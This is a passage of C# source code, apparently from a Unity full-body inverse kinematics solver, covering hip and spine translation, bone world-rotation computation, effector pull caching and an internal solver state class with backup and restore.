origPos, ref origPos ); } if( _neckBone != null ) { SAFBIKMatMultVecPreSubAdd( out temp.neckPos, ref transformBasis, ref temp.neckPos, ref origPos, ref origPos ); } if( origIndex == -1 ) { if( temp.legPos != null ) { for( int i = 0; i < 2; ++i ) { SAFBIKMatMultVecPreSubAdd( out temp.legPos[i], ref transformBasis, ref temp.legPos[i], ref origPos, ref origPos ); } } } temp.SetDirtyVariables(); } bool _UpperSolve_PreTranslate2( out Vector3 translate, ref CachedRate01 translateRate, ref CachedRate01 stableRate, ref Vector3 stableCenterLegPos ) { // If resetTransform = false, contain targetBeginPos to default transform or modify _UpperSolve_Translate() // Memo: Prepare SolveTargetBeginPosRated(). translate = Vector3.zero; Assert( _hipsEffector != null ); if( _hipsEffector.positionEnabled && _hipsEffector.positionWeight <= IKEpsilon && _hipsEffector.pull >= 1.0f - IKEpsilon ) { return false; // Always locked. } var temp = _solverInternal; Assert( temp != null ); bool continuousSolverEnabled = _internalValues.continuousSolverEnabled; bool translateEnabled = (continuousSolverEnabled && stableRate.isGreater0); if( temp.targetCenterArmEnabled ) { translate = temp.targetCenterArmPos - temp.currentCenterArmPos; translateEnabled = true; } if( translateEnabled ) { if( translateRate.isLess1 ) { translate *= translateRate.value; } if( continuousSolverEnabled && stableRate.isGreater0 ) { Vector3 extraTranslate = stableCenterLegPos - temp.centerLegPos; translate = Vector3.Lerp( translate, extraTranslate, stableRate.value ); } if( _hipsEffector.positionEnabled && _hipsEffector.pull > IKEpsilon ) { Vector3 extraTranslate = _hipsEffector._hidden_worldPosition - temp.centerLegPos; translate = Vector3.Lerp( translate, extraTranslate, _hipsEffector.pull ); } return true; } return false; } void _UpperSolve_Translate2( ref CachedRate01 translateRate, ref CachedRate01 stableRate, ref Vector3 stableCenterLegPos ) { Vector3 translate; if( _UpperSolve_PreTranslate2( out translate, ref translateRate, ref stableRate, ref stableCenterLegPos ) ) { var temp = _solverInternal; Assert( temp != null ); temp.Translate( ref translate ); } } void _LowerSolve( bool firstPass ) { var temp = _solverInternal; var cache = _solverCaches; Assert( temp != null ); Assert( cache != null ); if( temp.spinePos == null || temp.spinePos.Length == 0 ) { return; } float limbRate = firstPass ? 1.0f : cache.armToLegRate; if( temp.PrepareLowerRotation( 0 ) ) { Vector3 centerLegBoneY = temp.centerLegBasis.column1; for( int i = 0; i < 2; ++i ) { if( temp.legs.endPosEnabled[i] && temp.legs.targetBeginPosEnabled[i] ) { Vector3 legDir = temp.legs.targetBeginPos[i] - temp.legs.beginPos[i]; if( SAFBIKVecNormalize( ref legDir ) ) { float legDirFeedbackRate = Vector3.Dot( centerLegBoneY, -legDir ); #if false legDirFeedbackRate = Mathf.Asin( Mathf.Clamp( legDirFeedbackRate, -1.0f, 1.0f ) ); legDirFeedbackRate *= 1.0f / (90.0f * Mathf.Deg2Rad); legDirFeedbackRate = Mathf.Clamp01( legDirFeedbackRate ); #else // Faster legDirFeedbackRate = Mathf.Clamp01( legDirFeedbackRate ); #endif legDirFeedbackRate = 1.0f - legDirFeedbackRate; temp.SetSolveFeedbackRate( i, legDirFeedbackRate * limbRate ); } } } Quaternion origLowerRotation; if( temp.SolveLowerRotation( 0, out origLowerRotation ) ) { temp.LowerRotation( 0, ref origLowerRotation, false ); } } if( _hipsEffector.positionEnabled && _hipsEffector.positionWeight <= IKEpsilon && _hipsEffector.pull >= 1.0f - IKEpsilon ) { // Nothing.(Always locked.) } else { if( temp.PrepareLowerTranslate() ) { Vector3 origLowerTranslate; if( temp.SolveLowerTranslate( out origLowerTranslate ) ) { if( limbRate < 1.0f - IKEpsilon ) { origLowerTranslate *= limbRate; } if( _hipsEffector.positionEnabled && _hipsEffector.pull > IKEpsilon ) { Vector3 extraTranslate = _hipsEffector._hidden_worldPosition - temp.centerLegPos; origLowerTranslate = Vector3.Lerp( origLowerTranslate, extraTranslate, _hipsEffector.pull ); } temp.Translate( ref origLowerTranslate ); } } } } void _ComputeWorldTransform() { var temp = _solverInternal; if( temp == null || temp.spinePos == null || temp.spinePos.Length == 0 ) { return; } // Compute worldPosition / worldRotation. if( _hipsBone != null && _hipsBone.transformIsAlive && temp.spinePos != null && temp.spinePos.Length > 0 && _neckBone != null && _neckBone.transformIsAlive ) { Vector3 hipsToSpineDirX = new Vector3( 1.0f, 0.0f, 0.0f ); Vector3 dirX = temp.legs.beginPos[1] - temp.legs.beginPos[0]; Vector3 dirY = temp.spinePos[0] - (temp.legs.beginPos[1] + temp.legs.beginPos[0]) * 0.5f; Matrix3x3 boneBasis = new Matrix3x3(); if( SAFBIKVecNormalize( ref dirY ) && SAFBIKComputeBasisFromXYLockY( out boneBasis, ref dirX, ref dirY ) ) { Matrix3x3 tempBasis; SAFBIKMatMult( out tempBasis, ref boneBasis, ref _centerLegBoneBasisInv ); hipsToSpineDirX = boneBasis.column0; // Counts as baseBasis. Quaternion worldRotation; SAFBIKMatMultGetRot( out worldRotation, ref tempBasis, ref _hipsBone._defaultBasis ); _hipsBone.worldRotation = worldRotation; if( _hipsBone.isWritebackWorldPosition ) { Vector3 worldPosition; Vector3 inv_defaultLocalTranslate = -_spineBone._defaultLocalTranslate; SAFBIKMatMultVecAdd( out worldPosition, ref tempBasis, ref inv_defaultLocalTranslate, ref temp.spinePos[0] ); _hipsBone.worldPosition = worldPosition; } } else { // Failsafe. if( SAFBIKVecNormalize( ref dirX ) ) { hipsToSpineDirX = dirX; } } int spineLength = temp.spinePos.Length; for( int i = 0; i != spineLength; ++i ) { if( !_spineEnabled[i] ) { continue; } if( i + 1 == spineLength ) { dirY = temp.neckPos - temp.spinePos[i]; if( temp.nearArmPos != null ) { dirX = temp.nearArmPos[1] - temp.nearArmPos[0]; } else { // Failsafe. dirX = hipsToSpineDirX; } } else { dirY = temp.spinePos[i + 1] - temp.spinePos[i]; dirX = hipsToSpineDirX; if( temp.nearArmPos != null ) { Vector3 dirX0 = temp.nearArmPos[1] - temp.nearArmPos[0]; if( SAFBIKVecNormalize( ref dirX0 ) ) { dirX = Vector3.Lerp( dirX, dirX0, _settings.bodyIK.spineDirXLegToArmRate ); } } } if( SAFBIKVecNormalize( ref dirY ) && SAFBIKComputeBasisFromXYLockY( out boneBasis, ref dirX, ref dirY ) ) { hipsToSpineDirX = boneBasis.column0; Quaternion worldRotation; SAFBIKMatMultGetRot( out worldRotation, ref boneBasis, ref _spineBones[i]._boneToWorldBasis ); _spineBones[i].worldRotation = worldRotation; if( _spineBones[i].isWritebackWorldPosition ) { _spineBones[i].worldPosition = temp.spinePos[i]; } } } if( _shoulderBones != null ) { for( int i = 0; i != 2; ++i ) { Vector3 xDir, yDir, zDir; xDir = temp.armPos[i] - temp.shoulderPos[i]; if( _internalValues.shoulderDirYAsNeck != 0 ) { yDir = temp.neckPos - temp.shoulderPos[i]; } else { yDir = temp.shoulderPos[i] - temp.spineUPos; } xDir = (i == 0) ? -xDir : xDir; zDir = Vector3.Cross( xDir, yDir ); yDir = Vector3.Cross( zDir, xDir ); if( SAFBIKVecNormalize3( ref xDir, ref yDir, ref zDir ) ) { boneBasis.SetColumn( ref xDir, ref yDir, ref zDir ); Quaternion worldRotation; SAFBIKMatMultGetRot( out worldRotation, ref boneBasis, ref _shoulderBones[i]._boneToWorldBasis ); _shoulderBones[i].worldRotation = worldRotation; } } } } } bool _IsEffectorEnabled() { if( (_hipsEffector.positionEnabled && _hipsEffector.pull > IKEpsilon) || (_hipsEffector.rotationEnabled && _hipsEffector.rotationWeight > IKEpsilon) || (_neckEffector.positionEnabled && _neckEffector.pull > IKEpsilon) || (_eyesEffector.positionEnabled && (_eyesEffector.positionWeight > IKEpsilon && _eyesEffector.pull > IKEpsilon)) || (_armEffectors[0].positionEnabled && _armEffectors[0].pull > IKEpsilon) || (_armEffectors[1].positionEnabled && _armEffectors[1].pull > IKEpsilon) ) { return true; } if( (_elbowEffectors[0].positionEnabled && _elbowEffectors[0].pull > IKEpsilon) || (_elbowEffectors[1].positionEnabled && _elbowEffectors[1].pull > IKEpsilon) || (_kneeEffectors[0].positionEnabled && _kneeEffectors[0].pull > IKEpsilon) || (_kneeEffectors[1].positionEnabled && _kneeEffectors[1].pull > IKEpsilon) || (_wristEffectors[0].positionEnabled && _wristEffectors[0].pull > IKEpsilon) || (_wristEffectors[1].positionEnabled && _wristEffectors[1].pull > IKEpsilon) || (_footEffectors[0].positionEnabled && _footEffectors[0].pull > IKEpsilon) || (_footEffectors[1].positionEnabled && _footEffectors[1].pull > IKEpsilon) ) { return true; } return false; } bool _PrepareSolverInternal() { if( _armBones == null || _legBones == null ) { _solverInternal = null; return false; } // Get pull values at SolverCaches. if( _neckEffector != null ) { _solverCaches.neckPull = _neckEffector.positionEnabled ? _neckEffector.pull : 0.0f; } if( _headEffector != null ) { _solverCaches.headPull = _headEffector.positionEnabled ? _headEffector.pull : 0.0f; } if( _eyesEffector != null ) { _solverCaches.eyesRate = _eyesEffector.positionEnabled ? (_eyesEffector.pull * _eyesEffector.positionWeight) : 0.0f; } for( int i = 0; i != 2; ++i ) { if( _armEffectors[i] != null ) { _solverCaches.armPull[i] = _armEffectors[i].positionEnabled ? _armEffectors[i].pull : 0.0f; } if( _elbowEffectors[i] != null ) { _solverCaches.elbowPull[i] = _elbowEffectors[i].positionEnabled ? _elbowEffectors[i].pull : 0.0f; } if( _wristEffectors[i] != null ) { _solverCaches.wristPull[i] = _wristEffectors[i].positionEnabled ? _wristEffectors[i].pull : 0.0f; } if( _kneeEffectors[i] != null ) { _solverCaches.kneePull[i] = _kneeEffectors[i].positionEnabled ? _kneeEffectors[i].pull : 0.0f; } if( _footEffectors[i] != null ) { _solverCaches.footPull[i] = _footEffectors[i].positionEnabled ? _footEffectors[i].pull : 0.0f; } } _solverCaches.neckHeadPull = _ConcatPull( _solverCaches.neckPull, _solverCaches.headPull ); // Update pull values at SolverInternal. float upperPull = _solverCaches.neckHeadPull; float lowerPull = 0.0f; for( int i = 0; i != 2; ++i ) { float fullArmPull = _solverCaches.armPull[i]; if( fullArmPull == 0.0f ) { // Optimized for function calls. fullArmPull = _solverCaches.elbowPull[i]; } else { fullArmPull = _ConcatPull( fullArmPull, _solverCaches.elbowPull[i] ); } if( fullArmPull == 0.0f ) { // Optimized for function calls. fullArmPull = _solverCaches.wristPull[i]; } else { fullArmPull = _ConcatPull( fullArmPull, _solverCaches.wristPull[i] ); } float limbArmPull = _solverCaches.kneePull[i]; if( limbArmPull == 0.0f ) { // Optimized for function calls. limbArmPull = _solverCaches.wristPull[i]; } else { limbArmPull = _ConcatPull( limbArmPull, _solverCaches.wristPull[i] ); } float legPull = _solverCaches.kneePull[i]; if( legPull == 0.0f ) { // Optimized for function calls. legPull = _solverCaches.footPull[i]; } else { legPull = _ConcatPull( legPull, _solverCaches.footPull[i] ); } _solverCaches.fullArmPull[i] = fullArmPull; _solverCaches.limbLegPull[i] = legPull; _solverCaches.armToElbowPull[i] = _GetBalancedPullLockFrom( _solverCaches.armPull[i], _solverCaches.elbowPull[i] ); _solverCaches.armToWristPull[i] = _GetBalancedPullLockFrom( _solverCaches.armPull[i], _solverCaches.wristPull[i] ); _solverCaches.neckHeadToFullArmPull[i] = _GetBalancedPullLockTo( _solverCaches.neckHeadPull, fullArmPull ); upperPull += fullArmPull; lowerPull += legPull; } _solverCaches.limbArmRate = _GetLerpRateFromPull2( _solverCaches.fullArmPull[0], _solverCaches.fullArmPull[1] ); _solverCaches.limbLegRate = _GetLerpRateFromPull2( _solverCaches.limbLegPull[0], _solverCaches.limbLegPull[1] ); _solverCaches.armToLegRate = _GetLerpRateFromPull2( upperPull, lowerPull ); // _spineDirXRate, _spineEnabled if( _spineBones != null ) { int spineLength = _spineBones.Length; Assert( _spineDirXRate != null && _spineDirXRate.Length == spineLength ); float spineDirXRate = Mathf.Clamp01( _settings.bodyIK.spineDirXLegToArmRate ); float spineDirXToRate = Mathf.Max( _settings.bodyIK.spineDirXLegToArmToRate, spineDirXRate ); for( int i = 0; i != spineLength; ++i ) { if( i == 0 ) { _spineDirXRate[i] = spineDirXRate; } else if( i + 1 == spineLength ) { _spineDirXRate[i] = spineDirXToRate; } else { _spineDirXRate[i] = spineDirXRate + (spineDirXToRate - spineDirXRate) * ((float)i / (float)(spineLength - 1)); } } if( spineLength > 0 ) { _spineEnabled[0] = _settings.bodyIK.upperSolveSpineEnabled; } if( spineLength > 1 ) { _spineEnabled[1] = _settings.bodyIK.upperSolveSpine2Enabled; } if( spineLength > 2 ) { _spineEnabled[2] = _settings.bodyIK.upperSolveSpine3Enabled; } if( spineLength > 3 ) { _spineEnabled[3] = _settings.bodyIK.upperSolveSpine4Enabled; } } //------------------------------------------------------------------------------------------------------------------------ // Allocate solverInternal. if( _solverInternal == null ) { _solverInternal = new SolverInternal(); _solverInternal.settings = _settings; _solverInternal.internalValues = _internalValues; _solverInternal._solverCaches = _solverCaches; _solverInternal.arms._bendingPull = _solverCaches.armToElbowPull; _solverInternal.arms._endPull = _solverCaches.armToWristPull; _solverInternal.arms._beginToBendingLength = _elbowEffectorMaxLength; _solverInternal.arms._beginToEndLength = _wristEffectorMaxLength; _solverInternal.legs._bendingPull = _solverCaches.kneePull; _solverInternal.legs._endPull = _solverCaches.footPull; _solverInternal.legs._beginToBendingLength = _kneeEffectorMaxLength; _solverInternal.legs._beginToEndLength = _footEffectorMaxLength; _solverInternal._shouderLocalAxisYInv = _shouderLocalAxisYInv; _solverInternal._armEffectors = _armEffectors; _solverInternal._wristEffectors = _wristEffectors; _solverInternal._neckEffector = _neckEffector; _solverInternal._headEffector = _headEffector; _solverInternal._spineBones = _spineBones; _solverInternal._shoulderBones = _shoulderBones; _solverInternal._armBones = _armBones; _solverInternal._limbIK = _limbIK; _solverInternal._centerLegBoneBasisInv = this._centerLegBoneBasisInv; PrepareArray( ref _solverInternal.shoulderPos, _shoulderBones ); PrepareArray( ref _solverInternal.spinePos, _spineBones ); _solverInternal.nearArmPos = (_shoulderBones != null) ? _solverInternal.shoulderPos : _solverInternal.armPos; if( _spineUBone != null ) { if( _shoulderBones != null || _armBones != null ) { var nearArmBones = (_shoulderBones != null) ? _shoulderBones : _armBones; Vector3 dirY = nearArmBones[1]._defaultPosition + nearArmBones[0]._defaultPosition; Vector3 dirX = nearArmBones[1]._defaultPosition - nearArmBones[0]._defaultPosition; dirY = dirY * 0.5f - _spineUBone._defaultPosition; Vector3 dirZ = Vector3.Cross( dirX, dirY ); dirX = Vector3.Cross( dirY, dirZ ); if( SAFBIKVecNormalize3( ref dirX, ref dirY, ref dirZ ) ) { Matrix3x3 localBasis = Matrix3x3.FromColumn( ref dirX, ref dirY, ref dirZ ); _solverInternal._spineUBoneLocalAxisBasisInv = localBasis.transpose; } } } } _solverInternal.headEnabled = _headBone != null && _solverCaches.headPull > IKEpsilon; return true; } void _PresolveHips() { Assert( _internalValues != null && _internalValues.animatorEnabled ); var temp = _solverInternal; Assert( temp != null ); if( _hipsEffector == null ) { return; } bool rotationEnabled = _hipsEffector.rotationEnabled && _hipsEffector.rotationWeight > IKEpsilon; bool positionEnabled = _hipsEffector.positionEnabled && _hipsEffector.pull > IKEpsilon; // Note: Not positionWeight. if( !rotationEnabled && !positionEnabled ) { return; } Matrix3x3 centerLegBasis = temp.centerLegBasis; if( rotationEnabled ) { Quaternion centerLegRotationTo = _hipsEffector.worldRotation * Inverse( _hipsEffector._defaultRotation ); Quaternion centerLegRotationFrom; SAFBIKMatGetRot( out centerLegRotationFrom, ref centerLegBasis ); Quaternion centerLegRotation = centerLegRotationTo * Inverse( centerLegRotationFrom ); if( _hipsEffector.rotationWeight < 1.0f - IKEpsilon ) { centerLegRotation = Quaternion.Lerp( Quaternion.identity, centerLegRotation, _hipsEffector.rotationWeight ); } temp.LowerRotation( -1, ref centerLegRotation, true ); centerLegBasis = temp.centerLegBasis; } if( positionEnabled ) { // Note: _hidden_worldPosition is contained positionWeight. Vector3 hipsEffectorWorldPosition = _hipsEffector._hidden_worldPosition; Vector3 centerLegPos; SAFBIKMatMultVecPreSubAdd( out centerLegPos, ref centerLegBasis, ref _defaultCenterLegPos, ref _hipsEffector._defaultPosition, ref hipsEffectorWorldPosition ); Vector3 translate = centerLegPos - temp.centerLegPos; if( _hipsEffector.pull < 1.0f - IKEpsilon ) { translate *= _hipsEffector.pull; } temp.Translate( ref translate ); } } void _ResetTransforms() { Assert( _internalValues != null && _internalValues.resetTransforms ); Matrix3x3 centerLegBasis = Matrix3x3.identity; Vector3 centerLegPos = Vector3.zero; _GetBaseCenterLegTransform( out centerLegPos, out centerLegBasis ); _ResetCenterLegTransform( ref centerLegPos, ref centerLegBasis ); } void _GetBaseCenterLegTransform( out Vector3 centerLegPos, out Matrix3x3 centerLegBasis ) { // Use from resetTransforms & continuousSolverEnabled. Assert( _internalValues != null ); centerLegBasis = _internalValues.baseHipsBasis; if( _hipsEffector != null ) { SAFBIKMatMultVecPreSubAdd( out centerLegPos, ref _internalValues.baseHipsBasis, ref _defaultCenterLegPos, ref _hipsEffector._defaultPosition, ref _internalValues.baseHipsPos ); } else { // Failsafe. centerLegPos = new Vector3(); } } void _ResetCenterLegTransform( ref Vector3 centerLegPos, ref Matrix3x3 centerLegBasis ) { var temp = _solverInternal; Assert( temp != null ); Vector3 defaultCenterLegPos = _defaultCenterLegPos; if( _legBones != null ) { for( int i = 0; i != 2; ++i ) { SAFBIKMatMultVecPreSubAdd( out temp.legPos[i], ref centerLegBasis, ref _legBones[i]._defaultPosition, ref defaultCenterLegPos, ref centerLegPos ); } } if( _spineBones != null ) { for( int i = 0; i != _spineBones.Length; ++i ) { SAFBIKMatMultVecPreSubAdd( out temp.spinePos[i], ref centerLegBasis, ref _spineBones[i]._defaultPosition, ref defaultCenterLegPos, ref centerLegPos ); } } if( _shoulderBones != null ) { for( int i = 0; i != 2; ++i ) { SAFBIKMatMultVecPreSubAdd( out temp.shoulderPos[i], ref centerLegBasis, ref _shoulderBones[i]._defaultPosition, ref defaultCenterLegPos, ref centerLegPos ); } } if( _armBones != null ) { for( int i = 0; i != 2; ++i ) { SAFBIKMatMultVecPreSubAdd( out temp.armPos[i], ref centerLegBasis, ref _armBones[i]._defaultPosition, ref defaultCenterLegPos, ref centerLegPos ); } } if( _neckBone != null ) { SAFBIKMatMultVecPreSubAdd( out temp.neckPos, ref centerLegBasis, ref _neckBone._defaultPosition, ref defaultCenterLegPos, ref centerLegPos ); } if( _headBone != null && temp.headEnabled ) { SAFBIKMatMultVecPreSubAdd( out temp.headPos, ref centerLegBasis, ref _headBone._defaultPosition, ref defaultCenterLegPos, ref centerLegPos ); } temp.SetDirtyVariables(); temp._SetCenterLegPos( ref centerLegPos ); // Optimized. } // for ShoulderResolve void _ResetShoulderTransform() { var temp = _solverInternal; Assert( temp != null ); Assert( _limbIK != null ); if( _armBones == null || _shoulderBones == null ) { return; } if( _spineUBone == null || !_spineUBone.transformIsAlive || _neckBone == null || !_neckBone.transformIsAlive ) { } if( !_limbIK[(int)LimbIKLocation.LeftArm].IsSolverEnabled() && !_limbIK[(int)LimbIKLocation.RightArm].IsSolverEnabled() ) { return; } Vector3 dirY = temp.neckPos - temp.spineUPos; Vector3 dirX = temp.nearArmPos[1] - temp.nearArmPos[0]; Matrix3x3 boneBasis; if( SAFBIKVecNormalize( ref dirY ) && SAFBIKComputeBasisFromXYLockY( out boneBasis, ref dirX, ref dirY ) ) { Matrix3x3 tempBasis; SAFBIKMatMult( out tempBasis, ref boneBasis, ref _spineUBone._localAxisBasisInv ); Vector3 tempPos = temp.spineUPos; for( int i = 0; i != 2; ++i ) { int limbIKIndex = (i == 0) ? (int)LimbIKLocation.LeftArm : (int)LimbIKLocation.RightArm; if( _limbIK[limbIKIndex].IsSolverEnabled() ) { SAFBIKMatMultVecPreSubAdd( out temp.armPos[i], ref tempBasis, ref _armBones[i]._defaultPosition, ref _spineUBone._defaultPosition, ref tempPos ); } } } } //---------------------------------------------------------------------------------------------------------------------------------------- class SolverInternal { public class Limb { public Vector3[] beginPos; public float[] _bendingPull; public float[] _endPull; public FastLength[] _beginToBendingLength; public FastLength[] _beginToEndLength; public bool[] targetBeginPosEnabled = new bool[2]; public Vector3[] targetBeginPos = new Vector3[2]; public bool[] bendingPosEnabled = new bool[2]; public bool[] endPosEnabled = new bool[2]; public Vector3[] bendingPos = new Vector3[2]; public Vector3[] endPos = new Vector3[2]; public void Prepare( Effector[] bendingEffectors, Effector[] endEffectors ) { Assert( bendingEffectors != null ); Assert( endEffectors != null ); for( int i = 0; i < 2; ++i ) { targetBeginPos[i] = beginPos[i]; targetBeginPosEnabled[i] = false; if( bendingEffectors[i] != null && bendingEffectors[i].bone != null && bendingEffectors[i].bone.transformIsAlive ) { bendingPosEnabled[i] = true; bendingPos[i] = bendingEffectors[i]._hidden_worldPosition; } else { bendingPosEnabled[i] = false; bendingPos[i] = new Vector3(); } if( endEffectors[i] != null && endEffectors[i].bone != null && endEffectors[i].bone.transformIsAlive ) { endPosEnabled[i] = true; endPos[i] = endEffectors[i]._hidden_worldPosition; } else { endPosEnabled[i] = false; endPos[i] = new Vector3(); } } } public void ClearEnvTargetBeginPos() { for( int i = 0; i < 2; ++i ) { _ClearEnvTargetBeginPos( i, ref beginPos[i] ); } } public void ClearEnvTargetBeginPos( int i ) { _ClearEnvTargetBeginPos( i, ref beginPos[i] ); } public void _ClearEnvTargetBeginPos( int i, ref Vector3 beginPos ) { targetBeginPos[i] = beginPos; targetBeginPosEnabled[i] = false; } public bool SolveTargetBeginPos() { bool r = false; for( int i = 0; i < 2; ++i ) { r |= SolveTargetBeginPos( i, ref this.beginPos[i] ); } return r; } public bool SolveTargetBeginPos( int i ) { return SolveTargetBeginPos( i, ref this.beginPos[i] ); } public bool SolveTargetBeginPos( int i, ref Vector3 beginPos ) { targetBeginPos[i] = beginPos; targetBeginPosEnabled[i] = false; if( endPosEnabled[i] && _endPull[i] > IKEpsilon ) { targetBeginPosEnabled[i] |= _SolveTargetBeginPos( ref targetBeginPos[i], ref endPos[i], ref _beginToEndLength[i], _endPull[i] ); } if( bendingPosEnabled[i] && _bendingPull[i] > IKEpsilon ) { targetBeginPosEnabled[i] |= _SolveTargetBeginPos( ref targetBeginPos[i], ref bendingPos[i], ref _beginToBendingLength[i], _bendingPull[i] ); } return targetBeginPosEnabled[i]; } static bool _SolveTargetBeginPos( ref Vector3 targetBeginPos, ref Vector3 targetEndPos, ref FastLength targetBeginToEndLength, float endPull ) { Vector3 beginToEnd = (targetEndPos - targetBeginPos); float beginToEndLengthSq = beginToEnd.sqrMagnitude; if( beginToEndLengthSq > targetBeginToEndLength.lengthSq + FLOAT_EPSILON ) { float beginToEndLength = SAFBIKSqrt( beginToEndLengthSq ); if( beginToEndLength > IKEpsilon ) { float tempLength = beginToEndLength - targetBeginToEndLength.length; tempLength = tempLength / beginToEndLength; if( tempLength > IKEpsilon ) { if( endPull < 1.0f - IKEpsilon ) { tempLength *= endPull; } targetBeginPos += beginToEnd * tempLength; return true; } } } return false; } } public Settings settings; public InternalValues internalValues; public bool[] _shouderLocalAxisYInv; public Effector[] _armEffectors; public Effector _neckEffector; public Effector _headEffector; public Bone[] _spineBones; public Bone[] _shoulderBones; public Bone[] _armBones; public Limb arms = new Limb(); public Limb legs = new Limb(); public Vector3[] origToBeginDir = new Vector3[2]; public Vector3[] origToTargetBeginDir = new Vector3[2]; public float[] origTheta = new float[2]; public Vector3[] origAxis = new Vector3[2]; public Vector3[] origTranslate = new Vector3[2]; public float[] origFeedbackRate = new float[2]; public Vector3[] spinePos; public Vector3 neckPos; public Vector3 headPos; public bool headEnabled; // _headEffector != null && _headEffector.positionEnabled && _headEffector.pull > IKEpsilon public Vector3[] nearArmPos; public Vector3[] shoulderPos; public Vector3[] armPos = new Vector3[2]; // = arms.beginPos public Vector3[] legPos = new Vector3[2]; // = legs.beginPos public Matrix3x3 _centerLegBoneBasisInv = Matrix3x3.identity; // Require setting on initialize. public Matrix3x3 _spineUBoneLocalAxisBasisInv = Matrix3x3.identity; // Require setting on initialize. public Vector3 _centerArmPos = Vector3.zero; public Vector3 _centerLegPos = Vector3.zero; public Matrix3x3 _centerLegBasis = Matrix3x3.identity; public Matrix3x3 _spineUBasis = Matrix3x3.identity; bool _isDirtyCenterArmPos = true; bool _isDirtyCenterLegPos = true; bool _isDirtyCenterLegBasis = true; bool _isDirtySpineUBasis = true; public SolverInternal() { this.arms.beginPos = this.armPos; this.legs.beginPos = this.legPos; } public Vector3 centerArmPos { get { if( _isDirtyCenterArmPos ) { _UpdateCenterArmPos(); } return _centerArmPos; } } public Vector3 centerLegPos { get { if( _isDirtyCenterLegPos ) { _UpdateCenterLegPos(); } return _centerLegPos; } } public void _UpdateCenterArmPos() { if( _isDirtyCenterArmPos ) { _isDirtyCenterArmPos = false; var nearArmPos = this.shoulderPos; if( nearArmPos == null ) { nearArmPos = this.armPos; } if( nearArmPos != null ) { _centerArmPos = (nearArmPos[0] + nearArmPos[1]) * 0.5f; } } } public void _UpdateCenterLegPos() { if( _isDirtyCenterLegPos ) { _isDirtyCenterLegPos = false; var legPos = this.legPos; if( legPos != null ) { _centerLegPos = (legPos[0] + legPos[1]) * 0.5f; } } } public void _SetCenterArmPos( ref Vector3 centerArmPos ) { _isDirtyCenterArmPos = false; _centerArmPos = centerArmPos; } public void _SetCenterLegPos( ref Vector3 centerLegPos ) { _isDirtyCenterLegPos = false; _centerLegPos = centerLegPos; } public Matrix3x3 centerLegBasis { get { if( _isDirtyCenterLegBasis ) { _UpdateCenterLegBasis(); } return _centerLegBasis; } } public Matrix3x3 spineUBasis { get { if( _isDirtySpineUBasis ) { _UpdateSpineUBasis(); } return _spineUBasis; } } public void _UpdateCenterLegBasis() { if( _isDirtyCenterLegBasis ) { _isDirtyCenterLegBasis = false; var legPos = this.legPos; _centerLegBasis = Matrix3x3.identity; if( this.spinePos != null && this.spinePos.Length > 0 && legPos != null ) { Vector3 dirX = legPos[1] - legPos[0]; Vector3 dirY = this.spinePos[0] - this.centerLegPos; Vector3 dirZ = Vector3.Cross( dirX, dirY ); dirX = Vector3.Cross( dirY, dirZ ); if( SAFBIKVecNormalize3( ref dirX, ref dirY, ref dirZ ) ) { _centerLegBasis.SetColumn( ref dirX, ref dirY, ref dirZ ); SAFBIKMatMultRet0( ref _centerLegBasis, ref _centerLegBoneBasisInv ); } } } } public void _UpdateSpineUBasis() { if( _isDirtySpineUBasis ) { _isDirtySpineUBasis = false; _spineUBasis = Matrix3x3.identity; Vector3 dirY = (this.shoulderPos != null) ? (this.shoulderPos[1] + this.shoulderPos[0]) : (this.armPos[1] + this.armPos[0]); dirY = dirY * 0.5f - this.spineUPos; Vector3 dirX = (this.shoulderPos != null) ? (this.shoulderPos[1] - this.shoulderPos[0]) : (this.armPos[1] - this.armPos[0]); Vector3 dirZ = Vector3.Cross( dirX, dirY ); dirX = Vector3.Cross( dirY, dirZ ); if( SAFBIKVecNormalize3( ref dirX, ref dirY, ref dirZ ) ) { _spineUBasis.SetColumn( ref dirX, ref dirY, ref dirZ ); SAFBIKMatMultRet0( ref _spineUBasis, ref _spineUBoneLocalAxisBasisInv ); } } } public void SetDirtyVariables() { _isDirtyCenterArmPos = true; _isDirtyCenterLegPos = true; _isDirtyCenterLegBasis = true; _isDirtySpineUBasis = true; } public Vector3 spineUPos { get { if( this.spinePos != null && this.spinePos.Length != 0 ) { return this.spinePos[this.spinePos.Length - 1]; } return Vector3.zero; } } public class BackupData { public Vector3 centerArmPos; public Vector3 centerLegPos; public Matrix3x3 centerLegBasis; public Matrix3x3 spineUBasis; public Vector3[] spinePos; public Vector3 neckPos; public Vector3 headPos; public Vector3[] shoulderPos; public Vector3[] armPos = new Vector3[2]; public Vector3[] legPos = new Vector3[2]; } BackupData _backupData = new BackupData(); public void Backup() { _backupData.centerArmPos = this.centerArmPos; _backupData.centerLegPos = this.centerLegPos; _backupData.centerLegBasis = this.centerLegBasis; _backupData.spineUBasis = this.spineUBasis; CloneArray( ref _backupData.spinePos, this.spinePos ); _backupData.neckPos = this.neckPos; _backupData.headPos = this.headPos; CloneArray( ref _backupData.shoulderPos, this.shoulderPos ); CloneArray( ref _backupData.armPos, this.arms.beginPos ); CloneArray( ref _backupData.legPos, this.legs.beginPos ); } public void Restore() { _isDirtyCenterArmPos = false; _isDirtyCenterLegPos = false; _isDirtyCenterLegBasis = false; _isDirtySpineUBasis = false; _centerArmPos = _backupData.centerArmPos; _centerLegPos = _backupData.centerLegPos; _centerLegBasis = _backupData.centerLegBasis; _spineUBasis = _backupData.spineUBasis; CloneArray( ref this.spinePos, _backupData.spinePos ); this.neckPos = _backupData.neckPos; this.headPos = _backupData.headPos; CloneArray( ref this.shoulderPos, _backupData.shoulderPos ); CloneArray( ref this.arms.beginPos, _backupData.armPos ); CloneArray( ref this.legs.beginPos, _backupData.legPos ); } struct _UpperSolverPreArmsTemp { public Vector3[] shoulderPos; public Vector3[] armPos; public Vector3[] nearArmPos; // shoulderPos / armPos public Vector3 neckPos; public bool shoulderEnabled; public static _UpperSolverPreArmsTemp Alloc() { _UpperSolverPreArmsTemp r = new _UpperSolverPreArmsTemp(); r.shoulderPos = new Vector3[2]; r.armPos = new Vector3[2]; r.nearArmPos = null; // shoulderPos / armPos r.shoulderEnabled = false; return r; } } struct _UpperSolverArmsTemp { public Vector3[] shoulderPos; public Vector3[] armPos; public Vector3[] nearArmPos; // shoulderPos / armPos public bool shoulderEnabled; public Vector3 centerArmPos; public Vector3 centerArmDir; public static _UpperSolverArmsTemp Alloc() { _UpperSolverArmsTemp r = new _UpperSolverArmsTemp(); r.shoulderPos = new Vector3[2]; r.armPos = new Vector3[2]; r.nearArmPos = null; // shoulderPos / armPos r.shoulderEnabled = false; r.centerArmPos = Vector3.zero; 